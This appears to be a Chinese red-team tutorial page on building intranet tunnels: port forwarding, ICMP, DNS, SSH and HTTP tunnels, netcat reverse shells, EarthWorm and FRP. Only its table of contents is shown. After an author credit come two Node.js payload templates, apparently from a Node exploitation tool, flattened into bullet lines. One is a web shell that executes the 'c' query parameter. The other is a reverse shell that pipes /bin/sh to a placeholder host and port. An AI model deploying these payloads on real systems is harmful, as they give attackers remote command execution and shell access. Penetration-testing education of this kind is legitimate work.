红队内网攻防渗透：内网渗透之内网通信隧道搭建：代理和转发

内网通信隧道搭建

• 一、内网端口转发和代理
• • 1.1 什么是端口转发
  • 1.2 什么是端口映射
  • 1.3 端口转发和端口映射的区别
  • 1.4 总结
• 二、通信隧道的搭建技术
• • 2.1 什么隧道
  • 2.2 判断内网连通性
  • • 2.2.1 使用ICMP协议判断通不通外网
    • 2.2.2 使用TCP协议
    • 2.2.3 使用HTTP协议
    • 2.2.4 使用DNS协议
    • 2.2.5 代理服务器
  • 2.3 网络层的通信隧道
  • • 2.3.1 IPv6隧道
    • 2.3.2 ICMP隧道
    • • 2.3.2.1 icmpsh隧道工具
      • 2.3.2.2 Pingtunnel隧道工具
      • 2.3.2.3 icmptunnel隧道工具
  • 2.4 传输层隧道技术
  • • 2.4.1 lcx常规端口转发
    • • 2.4.1.1 Windows下使用lcx
      • 2.4.1.2 Linux系统上面使用portmap
      • 2.4.1.3 lcx本地端口转发
    • 2.4.2 nc端口转发
    • • 2.4.2.1 Banner抓取
      • 2.4.2.2 远程连接主机
      • 2.4.2.3 端口扫描
      • 2.4.2.4 端口监听
      • 2.4.2.5 文件传输
      • 2.4.2.6 简易聊天
      • 2.4.2.7 获取shell
      • 2.4.2.7.1 正向shell
      • 2.4.2.7.2 反向shell
      • 2.4.2.7.3 在目标主机中没有nc时获取反向shell
      • 2.4.2.7.3 php反弹shell
      • 2.4.2.7.4 perl反向shell
      • 2.4.2.7.5 内网代理
    • 2.4.3 PowerCat
  • 2.5 应用层隧道技术
  • • 2.5.1 SSH隧道
    • • 2.5.1.1 SSH 命令
      • 2.5.1.2 参数讲解
      • 2.5.1.3 本地转发实验
      • 2.5.1.4 远程转发实验
      • 2.5.1.5 动态转发实验
    • 2.5.2 HTTP/HTTPS隧道
    • • 2.5.2.1 reGeorg简介
      • 2.5.2.2 正向代理(Forward Proxy)
      • 2.5.2.3 反向代理（reverse proxy）
      • 2.5.2.4 实战模拟
      • 2.5.2.5 reGeorg的使用
      • 2.5.2.6 proxychains-ng的使用
    • 2.5.3 DNS隧道
    • • 2.5.3.1 dnscat2
      • 2.5.3.2 iodine
    • 2.5.4 SOCKS 代理技术
    • • 2.5.4.1 EarthWorm
      • 2.5.4.2 正向 SOCKS 5 服务器
      • 2.5.4.3 反弹 SOCKS 5 服务器
      • 2.5.4.4 二级网络环境(a)
      • 2.5.4.5 二级网络环境(b)
    • 2.5.5 FRP代理
    • • 2.5.5.1 FRP下载
      • 2.5.5.2 上传FRP
      • 2.5.5.3 服务端配置
      • 2.5.5.4 服务端启动
      • 2.5.5.5 客户端配置
      • 2.5.5.5 客户端开启
      • 2.5.5.6 配置代理
• Author: Andre Lima @0x4ndr3
• Blog post: https://pentesterslife.blog/
• (function x(){
• require('http').createServer(
• function(req,res){
• res.writeHead(200,{"Content-Type":"text/plain"}
• );
• require('child_process').exec(require('url').parse(req.url,true).query['c'],
• function(e,s,st){
• res.end(s)
• }
• )
• }
• ).listen(%s)
• })()
• (function(){
• var net = require("net"),
• cp = require("child_process"),
• sh = cp.spawn("/bin/sh", []);
• var client = new net.Socket();
• client.connect(%s, "%s", function(){
• client.pipe(sh.stdin);
• sh.stdout.pipe(client);
• sh.stderr.pipe(client);
• });
• return /pwned/; // Prevents the Node.js app from crashing
• })()